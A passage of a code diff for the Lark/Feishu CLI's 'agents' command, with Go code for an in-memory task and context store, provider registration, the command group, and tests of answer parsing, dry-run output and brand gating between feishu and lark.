|
||||
if rec.AgentID != agentID {
|
||||
continue
|
||||
}
|
||||
if contextID != "" && rec.Task.ContextID != contextID {
|
||||
continue
|
||||
}
|
||||
recs = append(recs, rec)
|
||||
}
|
||||
sort.Slice(recs, func(i, j int) bool { return recs[i].Seq > recs[j].Seq })
|
||||
lo, hi, info := pageWindow(len(recs), page)
|
||||
out := make([]agents.TaskSummary, 0, hi-lo)
|
||||
for _, rec := range recs[lo:hi] {
|
||||
out = append(out, taskSummaryOf(rec.Task))
|
||||
}
|
||||
return out, info
|
||||
}
|
||||
|
||||
// listContexts lists an agent's context summaries, MOST-RECENT-FIRST (Seq
|
||||
// descending — newest first), then paginated by page.
|
||||
func (s *memoryStore) listContexts(agentID string, page agents.PageParams) ([]agents.ContextSummary, agents.PageInfo) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
recs := make([]*contextRecord, 0, len(s.Contexts))
|
||||
for _, ctx := range s.Contexts {
|
||||
if ctx.AgentID == agentID {
|
||||
recs = append(recs, ctx)
|
||||
}
|
||||
}
|
||||
sort.Slice(recs, func(i, j int) bool { return recs[i].Seq > recs[j].Seq })
|
||||
lo, hi, info := pageWindow(len(recs), page)
|
||||
out := make([]agents.ContextSummary, 0, hi-lo)
|
||||
for _, ctx := range recs[lo:hi] {
|
||||
updatedAt, _, awaiting, _ := s.contextRollupLocked(ctx)
|
||||
out = append(out, agents.ContextSummary{
|
||||
ContextID: ctx.ContextID,
|
||||
CreatedAt: ctx.CreatedAt,
|
||||
UpdatedAt: updatedAt,
|
||||
Title: ctx.Title,
|
||||
AwaitingInput: awaiting,
|
||||
})
|
||||
}
|
||||
return out, info
|
||||
}
|
||||
|
||||
// getContext returns a context's detail: metadata plus a rollup (updated_at,
|
||||
// task_count, awaiting_input) and the single most-actionable ActiveTask (the task
|
||||
// with the latest updated_at; nil for an empty context). It deliberately does NOT
|
||||
// enumerate every task — the full list is `listTasks(agentID, ctxID)` behind
|
||||
// `agents task list --context-id`.
|
||||
func (s *memoryStore) getContext(agentID, ctxID string) (*agents.ContextDetail, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
ctx, ok := s.Contexts[ctxID]
|
||||
if !ok || ctx.AgentID != agentID {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知的 context id '%s'(example:%s 名下不存在)", ctxID, agentID).
|
||||
WithHint("运行 lark-cli agents context list example:%s 查看现有会话", agentID)
|
||||
}
|
||||
updatedAt, taskCount, awaiting, active := s.contextRollupLocked(ctx)
|
||||
detail := &agents.ContextDetail{
|
||||
ContextID: ctx.ContextID,
|
||||
CreatedAt: ctx.CreatedAt,
|
||||
UpdatedAt: updatedAt,
|
||||
Title: ctx.Title,
|
||||
// The mock can always count its tasks; a real provider whose backend
|
||||
// does not return a total leaves TaskCount nil (unknown ≠ 0).
|
||||
TaskCount: &taskCount,
|
||||
AwaitingInput: awaiting,
|
||||
}
|
||||
if active != nil {
|
||||
summary := taskSummaryOf(active.Task)
|
||||
detail.ActiveTask = &summary
|
||||
}
|
||||
return detail, nil
|
||||
}
|
||||
|
||||
// deleteContext deletes a context and its tasks (a destructive operation, already gated by --yes in the command layer).
|
||||
func (s *memoryStore) deleteContext(agentID, ctxID string) error {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
ctx, ok := s.Contexts[ctxID]
|
||||
if !ok || ctx.AgentID != agentID {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知的 context id '%s'(example:%s 名下不存在)", ctxID, agentID).
|
||||
WithHint("运行 lark-cli agents context list example:%s 查看现有会话", agentID)
|
||||
}
|
||||
for _, tid := range ctx.TaskIDs {
|
||||
delete(s.Tasks, tid)
|
||||
}
|
||||
delete(s.Contexts, ctxID)
|
||||
return s.saveLocked()
|
||||
}
|
||||
|
||||
// ── Derived rollups (the enriched-summary provider side) ──
|
||||
|
||||
// summaryMaxRunes is the rune budget for a task Summary — a one-line content
|
||||
// digest, not full content. Truncation is rune-safe so a multibyte character is
|
||||
// never cut in half.
|
||||
const summaryMaxRunes = 100
|
||||
|
||||
// contextRollupLocked derives a context's summary fields from its tasks (the
|
||||
// caller must already hold the lock). updatedAt is the newest task updated_at,
|
||||
// falling back to the context's created_at when it has no tasks; awaitingInput is
|
||||
// set when any task sits in input_required/auth_required; active is the task with
|
||||
// the latest updated_at (ties broken by creation order so it is deterministic),
|
||||
// nil when the context is empty.
|
||||
func (s *memoryStore) contextRollupLocked(ctx *contextRecord) (updatedAt string, taskCount int, awaitingInput bool, active *taskRecord) {
|
||||
updatedAt = ctx.CreatedAt
|
||||
for _, tid := range ctx.TaskIDs {
|
||||
rec, ok := s.Tasks[tid]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
taskCount++
|
||||
if rec.Task.UpdatedAt > updatedAt { // fixed-width RFC3339 UTC ⇒ lexicographic == chronological
|
||||
updatedAt = rec.Task.UpdatedAt
|
||||
}
|
||||
if isAwaiting(rec.Task.State) {
|
||||
awaitingInput = true
|
||||
}
|
||||
if active == nil || rec.Task.UpdatedAt > active.Task.UpdatedAt ||
|
||||
(rec.Task.UpdatedAt == active.Task.UpdatedAt && rec.Seq > active.Seq) {
|
||||
active = rec
|
||||
}
|
||||
}
|
||||
return updatedAt, taskCount, awaitingInput, active
|
||||
}
|
||||
|
||||
// isAwaiting reports whether a state is paused waiting on the caller (the
|
||||
// awaiting_input rollup bit).
|
||||
func isAwaiting(state agents.TaskState) bool {
|
||||
return state == agents.StateInputRequired || state == agents.StateAuthRequired
|
||||
}
|
||||
|
||||
// taskSummaryOf projects a stored task into its list/active summary, carrying the
|
||||
// timestamp and the one-line content digest alongside the identity fields.
|
||||
func taskSummaryOf(task agents.AgentTask) agents.TaskSummary {
|
||||
return agents.TaskSummary{
|
||||
TaskID: task.TaskID,
|
||||
ContextID: task.ContextID,
|
||||
State: task.State,
|
||||
IsTerminal: task.IsTerminal,
|
||||
UpdatedAt: task.UpdatedAt,
|
||||
Summary: taskSummaryText(task),
|
||||
}
|
||||
}
|
||||
|
||||
// taskSummaryText is the one-line content digest: the pending group's triage
|
||||
// digest (§3.3: label else first question, question count suffixed) for a task
|
||||
// awaiting input, otherwise the last agent message's text. It returns RAW text
|
||||
// (only rune-truncated) — ANSI-stripping + flattening for pretty/TSV is the
|
||||
// command layer's job, and it is empty when nothing is available.
|
||||
func taskSummaryText(task agents.AgentTask) string {
|
||||
if task.State == agents.StateInputRequired && task.InputRequired != nil {
|
||||
if s := task.InputRequired.SummaryText(); s != "" {
|
||||
return truncateRunes(s, summaryMaxRunes)
|
||||
}
|
||||
}
|
||||
for i := len(task.Messages) - 1; i >= 0; i-- {
|
||||
if task.Messages[i].Role != "agent" {
|
||||
continue
|
||||
}
|
||||
for _, p := range task.Messages[i].Parts {
|
||||
if p.Type == "text" && p.Text != "" {
|
||||
return truncateRunes(p.Text, summaryMaxRunes)
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// truncateRunes cuts s to at most max runes (rune-safe, no character split). It
|
||||
// does not append an ellipsis: the Summary is meant to be raw text.
|
||||
func truncateRunes(s string, max int) string {
|
||||
r := []rune(s)
|
||||
if len(r) <= max {
|
||||
return s
|
||||
}
|
||||
return string(r[:max])
|
||||
}
|
||||
26
agents/register.go
Normal file
26
agents/register.go
Normal file
@@ -0,0 +1,26 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// Package agents is the top-level business layer that wires the in-repo agent
|
||||
// providers into the framework registry (internal/agents). It mirrors the events
|
||||
// layering: the framework/SPI lives in internal/agents, each concrete provider is
|
||||
// a declarative agents.Provider value exposed by a package under agents/<scheme>/,
|
||||
// and this package's init aggregates and registers them. Blank-import this
|
||||
// package from cmd to populate the provider registry.
|
||||
//
|
||||
// To onboard a new provider: add agents/<scheme>/ exposing a Provider() value,
|
||||
// then add one line to the slice below.
|
||||
package agents
|
||||
|
||||
import (
|
||||
"github.com/larksuite/cli/agents/example"
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
)
|
||||
|
||||
func init() {
|
||||
for _, p := range []iagents.Provider{
|
||||
example.Provider(),
|
||||
} {
|
||||
iagents.Register(p)
|
||||
}
|
||||
}
|
||||
34
cmd/agents/agent_test.go
Normal file
34
cmd/agents/agent_test.go
Normal file
@@ -0,0 +1,34 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import "testing"
|
||||
|
||||
// TestAgentCommandTree pins the shape of the `agent` command tree: the group
|
||||
// itself must have no RunE/Run (a bare group whose unknown subcommands surface
|
||||
// an error rather than being silently swallowed), and it must expose all five
|
||||
// verbs plus the nested task/context sub-groups.
|
||||
func TestAgentCommandTree(t *testing.T) {
|
||||
cmd := NewCmdAgents(nil)
|
||||
if cmd.RunE != nil || cmd.Run != nil {
|
||||
t.Error("agent group should not have RunE (otherwise it conflicts with unknownSubcommandGuard)")
|
||||
}
|
||||
want := []string{"list", "card", "send", "task", "context"}
|
||||
for _, name := range want {
|
||||
if findSub(cmd, name) == nil {
|
||||
t.Errorf("missing subcommand %s", name)
|
||||
}
|
||||
}
|
||||
// task/context are nested groups
|
||||
if task := findSub(cmd, "task"); task == nil {
|
||||
t.Error("missing agents task group")
|
||||
} else if findSub(task, "get") == nil {
|
||||
t.Error("missing agents task get")
|
||||
}
|
||||
if ctxCmd := findSub(cmd, "context"); ctxCmd == nil {
|
||||
t.Error("missing agents context group")
|
||||
} else if findSub(ctxCmd, "delete") == nil {
|
||||
t.Error("missing agents context delete")
|
||||
}
|
||||
}
|
||||
29
cmd/agents/agents.go
Normal file
29
cmd/agents/agents.go
Normal file
@@ -0,0 +1,29 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
)
|
||||
|
||||
// NewCmdAgents builds the `agent` command group: a provider-agnostic surface
|
||||
// that drives remote A2A agents with constant verbs. It is a pure group with
|
||||
// no RunE, so an unknown subcommand is reported rather than silently
|
||||
// swallowed. All five verbs (list/card/send/task/context) are wired here; task
|
||||
// and context are themselves nested groups.
|
||||
func NewCmdAgents(f *cmdutil.Factory) *cobra.Command {
|
||||
cmd := &cobra.Command{
|
||||
Use: "agents",
|
||||
Short: "Drive first-party remote agents (A2A: send / start task / poll / fetch result)",
|
||||
Long: "Drive Feishu first-party remote agents with a constant verb set. An agent_ref looks like <scheme>:<agent_id> (e.g. example:echo). Read capabilities with `agents card <agent_ref>` first, then pick verbs by capability.",
|
||||
}
|
||||
cmd.AddCommand(NewCmdAgentList(f))
|
||||
cmd.AddCommand(NewCmdAgentCard(f))
|
||||
cmd.AddCommand(NewCmdAgentSend(f, nil))
|
||||
cmd.AddCommand(NewCmdAgentTask(f))
|
||||
cmd.AddCommand(NewCmdAgentContext(f))
|
||||
return cmd
|
||||
}
|
||||
169
cmd/agents/answer_review_test.go
Normal file
169
cmd/agents/answer_review_test.go
Normal file
@@ -0,0 +1,169 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// Tests added from the Phase-6 adversarial review of the input_required answer
|
||||
// scheme: each pins a contract row that was implemented but previously
|
||||
// deletable without a test failing.
|
||||
package agents
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
)
|
||||
|
||||
// TestSendAnswerUnsupportedGated pins the §5 capability row: --answer against
|
||||
// an agent whose card declares input_required=false (example:echo) is gated
|
||||
// offline with unsupported_capability — no provider hook fires, no network.
|
||||
func TestSendAnswerUnsupportedGated(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
err := agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: sendCmdCtx(t), Ref: "example:echo",
|
||||
ContextID: "c1", TaskID: "t1", Answers: []string{"q1=x"},
|
||||
As: "bot", Format: "json",
|
||||
})
|
||||
assertUnsupportedCapability(t, err, "example:echo")
|
||||
if p, _ := errs.ProblemOf(err); !strings.Contains(p.Message, "input_required") {
|
||||
t.Errorf("gate error should name the input_required capability, got %q", p.Message)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendAnswerWithRemark pins the §5 row "--answer 与 --text 并存 = 合法":
|
||||
// the remark rides SendInput.Text alongside the parsed answers.
|
||||
func TestSendAnswerWithRemark(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.ContextID, opts.TaskID = "sess_1", "task_1"
|
||||
opts.Answers = []string{"q1_a8=by_region"}
|
||||
opts.Text = "补充:优先东区"
|
||||
var got iagents.SendInput
|
||||
setScripted(t, scriptedHooks{send: func(in iagents.SendInput) (*iagents.AgentTask, error) {
|
||||
got = in
|
||||
return &iagents.AgentTask{TaskID: "task_1", State: iagents.StateCompleted}, nil
|
||||
}})
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("--answer with a --text remark must be legal: %v", err)
|
||||
}
|
||||
if got.Text != "补充:优先东区" || len(got.Answers) != 1 {
|
||||
t.Errorf("remark and answers must both reach the hook, got text=%q answers=%v", got.Text, got.Answers)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendAnswerGrammarEdges extends the offline key-grammar pin to the §4.1
|
||||
// edge shapes: case-sensitive suffix, bare ".text", double suffix — plus the
|
||||
// hint naming both legal forms.
|
||||
func TestSendAnswerGrammarEdges(t *testing.T) {
|
||||
err := agentSendRun(&sendOptions{Ref: "example:agt_x", ContextID: "c", TaskID: "t",
|
||||
Answers: []string{"q1.TEXT=x", ".text=x", "q.text.text=x"}})
|
||||
if err == nil {
|
||||
t.Fatal("edge-shape keys should be rejected offline")
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for _, frag := range []string{"q1.TEXT", ".text", "q.text.text"} {
|
||||
if !strings.Contains(verr.Problem.Message, frag) {
|
||||
t.Errorf("collect-all should name %q, got %q", frag, verr.Problem.Message)
|
||||
}
|
||||
}
|
||||
if h := verr.Problem.Hint; !strings.Contains(h, "<question_id>=<option_id>") || !strings.Contains(h, "<question_id>.text=") {
|
||||
t.Errorf("hint must name both legal key forms, got %q", h)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendAnswerGuardPrecedence pins mode-first ordering: with BOTH missing
|
||||
// ids AND a grammar-violating entry, the ids guard answers (the caller learns
|
||||
// which mode it got wrong before which field), and Answers+ContextID-only
|
||||
// still reports the --answer guard.
|
||||
func TestSendAnswerGuardPrecedence(t *testing.T) {
|
||||
err := agentSendRun(&sendOptions{Ref: "example:agt_x", Answers: []string{"q1.txt=x"}})
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) || verr.Param != "--answer" || !strings.Contains(verr.Problem.Message, "--context-id") {
|
||||
t.Errorf("ids guard must answer before key grammar, got %+v", verr)
|
||||
}
|
||||
err = agentSendRun(&sendOptions{Ref: "example:agt_x", ContextID: "c", Answers: []string{"q1=x"}})
|
||||
if !errors.As(err, &verr) || verr.Param != "--answer" {
|
||||
t.Errorf("answers with context but no task must hit the --answer guard, got %+v", verr)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendDryRunAnswers pins the '预演即所得' §10.1 preview: would_send.answers
|
||||
// is the PARSED map (deduped, argv order), no hook fires, and dry-run answers
|
||||
// work even against an input_required=false agent (dry-run precedes the gate).
|
||||
func TestSendDryRunAnswers(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
opts := &sendOptions{
|
||||
Factory: f, Cmd: sendCmdCtx(t), Ref: "example:echo", DryRun: true,
|
||||
ContextID: "c1", TaskID: "t1",
|
||||
Answers: []string{"q3_a8=east", "q3_a8=north", "q3_a8=east", "q2_a8.text=2024 全年"},
|
||||
As: "bot", Format: "json",
|
||||
}
|
||||
out := f.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("dry-run with answers must succeed even at an input_required=false agent: %v", err)
|
||||
}
|
||||
var env struct {
|
||||
Data struct {
|
||||
WouldSend struct {
|
||||
Answers map[string][]string `json:"answers"`
|
||||
} `json:"would_send"`
|
||||
} `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("invalid envelope: %v", err)
|
||||
}
|
||||
if v := env.Data.WouldSend.Answers["q3_a8"]; len(v) != 2 || v[0] != "east" || v[1] != "north" {
|
||||
t.Errorf("would_send.answers must be the parsed deduped map, got %v", env.Data.WouldSend.Answers)
|
||||
}
|
||||
if v := env.Data.WouldSend.Answers["q2_a8.text"]; len(v) != 1 || v[0] != "2024 全年" {
|
||||
t.Errorf(".text key must ride would_send verbatim, got %v", env.Data.WouldSend.Answers)
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskGetDegradedGroupNotice pins the §3.2 defect-observability channel: a
|
||||
// provider group with a flag-lookalike question_id degrades to one free-text
|
||||
// question AND the JSON envelope carries the provider_defect notice (the
|
||||
// machine surface — not just stderr).
|
||||
func TestTaskGetDegradedGroupNotice(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
registerScripted()
|
||||
setScripted(t, scriptedHooks{getTask: func(taskID string) (*iagents.AgentTask, error) {
|
||||
return &iagents.AgentTask{TaskID: taskID, ContextID: "ctx_1", State: iagents.StateInputRequired,
|
||||
UpdatedAt: "2026-07-21T00:00:00Z",
|
||||
InputRequired: &iagents.InputRequired{Questions: []iagents.Question{
|
||||
{QuestionID: "--text", Question: "维度?"},
|
||||
}}}, nil
|
||||
}})
|
||||
opts := &taskOptions{Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeflow:agt_x", TaskID: "t1", As: "bot", Format: "json"}
|
||||
out := f.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentTaskGetRun(opts); err != nil {
|
||||
t.Fatalf("task get with a degradable group should succeed: %v", err)
|
||||
}
|
||||
var env struct {
|
||||
Data struct {
|
||||
InputRequired struct {
|
||||
Questions []struct {
|
||||
QuestionID string `json:"question_id"`
|
||||
} `json:"questions"`
|
||||
} `json:"input_required"`
|
||||
} `json:"data"`
|
||||
Notice map[string]any `json:"_notice"`
|
||||
}
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("invalid envelope: %v\n%s", err, out.Bytes())
|
||||
}
|
||||
qs := env.Data.InputRequired.Questions
|
||||
if len(qs) != 1 || !iagents.KeyPattern.MatchString(qs[0].QuestionID) {
|
||||
t.Fatalf("degraded group must be one legal-key free-text question, got %+v", qs)
|
||||
}
|
||||
defect, _ := env.Notice["provider_defect"].(string)
|
||||
if !strings.Contains(defect, "不合规") {
|
||||
t.Errorf("JSON envelope _notice must carry the provider defect, got %v", env.Notice)
|
||||
}
|
||||
}
|
||||
239
cmd/agents/brand_test.go
Normal file
239
cmd/agents/brand_test.go
Normal file
@@ -0,0 +1,239 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// brandFactory builds a test Factory whose resolved Config.Brand is the given
|
||||
// brand, so the command-layer brand gates exercise both feishu and lark.
|
||||
func brandFactory(t *testing.T, brand core.LarkBrand) *cmdutil.Factory {
|
||||
t.Helper()
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: brand}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
return f
|
||||
}
|
||||
|
||||
// TestCardBrandScoped pins that `agents card example:reporter` renders a
|
||||
// brand-scoped card: under feishu task_cancel is true and data.brand=="feishu";
|
||||
// under lark the feishu-only task_cancel op flips to false and
|
||||
// data.brand=="lark". The agent itself stays visible under both brands (only the
|
||||
// op is scoped), so the card renders in both cases.
|
||||
func TestCardBrandScoped(t *testing.T) {
|
||||
for _, tc := range []struct {
|
||||
brand core.LarkBrand
|
||||
wantTaskCancel bool
|
||||
}{
|
||||
{core.BrandFeishu, true},
|
||||
{core.BrandLark, false},
|
||||
} {
|
||||
t.Run(string(tc.brand), func(t *testing.T) {
|
||||
f := brandFactory(t, tc.brand)
|
||||
opts := &cardOptions{Factory: f, Cmd: resolveCmd(t, true, "bot"), Ref: "example:reporter", As: "bot", Format: "json"}
|
||||
out := f.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentCardRun(opts); err != nil {
|
||||
t.Fatalf("card should render under %s: %v", tc.brand, err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("card output should be valid envelope JSON: %v", err)
|
||||
}
|
||||
data, ok := env.Data.(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("data should be a card object, got %T", env.Data)
|
||||
}
|
||||
if data["brand"] != string(tc.brand) {
|
||||
t.Errorf("card.brand should be %q, got %v", tc.brand, data["brand"])
|
||||
}
|
||||
caps, ok := data["capabilities"].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("capabilities should be an object, got %T", data["capabilities"])
|
||||
}
|
||||
if caps["task_cancel"] != tc.wantTaskCancel {
|
||||
t.Errorf("%s: task_cancel should be %v, got %v", tc.brand, tc.wantTaskCancel, caps["task_cancel"])
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskCancelBrandGatedUnderLark pins the per-capability brand gate: under
|
||||
// lark, `agents task cancel example:reporter` (task_cancel is feishu-only) is
|
||||
// rejected offline with the unavailable_for_brand validation error (exit 2)
|
||||
// before any request — the CancelTask handler IS wired, so this is a brand gate,
|
||||
// not an unsupported_capability gate.
|
||||
func TestTaskCancelBrandGatedUnderLark(t *testing.T) {
|
||||
f := brandFactory(t, core.BrandLark)
|
||||
err := agentTaskCancelRun(&taskOptions{
|
||||
Factory: f, Cmd: taskCmdCtx(t, "cancel"), Ref: "example:reporter", TaskID: "t1", As: "bot",
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("task cancel under lark should be gated (unavailable_for_brand)")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want a validation error, got %T", err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeUnavailableForBrand {
|
||||
t.Fatalf("subtype should be unavailable_for_brand, got %+v", p)
|
||||
}
|
||||
if output.ExitCodeOf(err) != output.ExitValidation {
|
||||
t.Fatalf("exit should be %d, got %d", output.ExitValidation, output.ExitCodeOf(err))
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskCancelReachesHandlerUnderFeishu pins the sibling of the gate: under
|
||||
// feishu the feishu-scoped task_cancel is live, so the command passes both brand
|
||||
// gates and reaches the provider handler — for an unknown task the example store
|
||||
// returns invalid_argument (unknown task id), never unavailable_for_brand.
|
||||
func TestTaskCancelReachesHandlerUnderFeishu(t *testing.T) {
|
||||
f := brandFactory(t, core.BrandFeishu)
|
||||
err := agentTaskCancelRun(&taskOptions{
|
||||
Factory: f, Cmd: taskCmdCtx(t, "cancel"), Ref: "example:reporter", TaskID: "nope_task", As: "bot",
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("cancel of an unknown task should error from the handler")
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
t.Fatalf("want a typed problem, got %T: %v", err, err)
|
||||
}
|
||||
if p.Subtype == errs.SubtypeUnavailableForBrand {
|
||||
t.Fatal("under feishu the brand gate must NOT fire — the handler should run")
|
||||
}
|
||||
if p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("expected the handler's unknown-task invalid_argument, got %+v", p)
|
||||
}
|
||||
}
|
||||
|
||||
// TestListCatalogIncludesReporterBothBrands pins that an op-level brand tag does
|
||||
// NOT hide the whole agent: example:reporter appears in the catalog listing under
|
||||
// both feishu and lark (only its task_cancel capability differs by brand).
|
||||
func TestListCatalogIncludesReporterBothBrands(t *testing.T) {
|
||||
prov, ok := iagents.Info("example")
|
||||
if !ok {
|
||||
t.Fatal("example provider should be registered")
|
||||
}
|
||||
for _, brand := range []core.LarkBrand{core.BrandFeishu, core.BrandLark} {
|
||||
found := false
|
||||
for _, a := range prov.ListCatalog(brand) {
|
||||
if a.AgentRef == "example:reporter" {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Errorf("example:reporter should be listed under %s (op-level tag must not hide the agent)", brand)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// registerBrandHiddenOnce registers the feishu-only catalog agent exactly once
|
||||
// (Register panics on dup). Its ListTasks is deliberately UNWIRED so the
|
||||
// whole-agent brand gate can be tested against a verb the agent does not even
|
||||
// implement — the ordering assertion behind fix #1.
|
||||
var registerBrandHiddenOnce sync.Once
|
||||
|
||||
func registerBrandHidden() {
|
||||
registerBrandHiddenOnce.Do(func() {
|
||||
task := func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) {
|
||||
return &iagents.AgentTask{TaskID: "t", State: iagents.StateCompleted}, nil
|
||||
}
|
||||
iagents.Register(iagents.Provider{
|
||||
Scheme: "brandhidden",
|
||||
Label: "test fake (feishu-only agent)",
|
||||
AgentIDSource: "test only",
|
||||
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
|
||||
Catalog: []iagents.AgentSpec{{
|
||||
ID: "x",
|
||||
Name: "隐藏演示",
|
||||
Brands: []core.LarkBrand{core.BrandFeishu},
|
||||
Send: iagents.SendOp{Handler: func(_ context.Context, _ iagents.Runtime, _ iagents.SendInput) (*iagents.AgentTask, error) {
|
||||
return &iagents.AgentTask{TaskID: "t", State: iagents.StateCompleted}, nil
|
||||
}},
|
||||
GetTask: iagents.TaskGetOp{Handler: task},
|
||||
// ListTasks intentionally UNWIRED.
|
||||
}},
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
// TestWholeAgentBrandGatedUnderLark pins the whole-agent brand gate AND its
|
||||
// ordering: a feishu-only agent (spec.Brands=[feishu]) reports
|
||||
// unavailable_for_brand under lark for EVERY verb — including task list, whose
|
||||
// handler is unwired. If the capability nil-gate ran first, task list would
|
||||
// misreport unsupported_capability; the whole-agent brand gate must fire before
|
||||
// it. Under feishu the agent is visible and its card renders.
|
||||
func TestWholeAgentBrandGatedUnderLark(t *testing.T) {
|
||||
registerBrandHidden()
|
||||
lark := brandFactory(t, core.BrandLark)
|
||||
|
||||
errCard := agentCardRun(&cardOptions{Factory: lark, Cmd: resolveCmd(t, true, "bot"), Ref: "brandhidden:x", As: "bot", Format: "json"})
|
||||
assertUnavailableWholeAgent(t, errCard, "card")
|
||||
|
||||
errList := agentTaskListRun(&taskOptions{Factory: lark, Cmd: taskCmdCtx(t, "list"), Ref: "brandhidden:x", As: "bot", Format: "json"})
|
||||
assertUnavailableWholeAgent(t, errList, "task list (unwired verb)")
|
||||
|
||||
feishu := brandFactory(t, core.BrandFeishu)
|
||||
out := feishu.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentCardRun(&cardOptions{Factory: feishu, Cmd: resolveCmd(t, true, "bot"), Ref: "brandhidden:x", As: "bot", Format: "json"}); err != nil {
|
||||
t.Fatalf("card should render under feishu (agent visible): %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("card output should be valid JSON: %v", err)
|
||||
}
|
||||
if data, _ := env.Data.(map[string]interface{}); data["brand"] != "feishu" {
|
||||
t.Errorf("under feishu card.brand should be feishu, got %v", data["brand"])
|
||||
}
|
||||
}
|
||||
|
||||
// assertUnavailableWholeAgent checks err is the WHOLE-AGENT unavailable_for_brand
|
||||
// form: subtype unavailable_for_brand, naming the lark brand, and with NO verb
|
||||
// named (the op form is "agent '...' 的 '<verb>' 在 ..."; the whole-agent form
|
||||
// omits the verb since the entire agent is hidden).
|
||||
func assertUnavailableWholeAgent(t *testing.T, err error, where string) {
|
||||
t.Helper()
|
||||
if err == nil {
|
||||
t.Fatalf("%s under lark should be gated", where)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeUnavailableForBrand {
|
||||
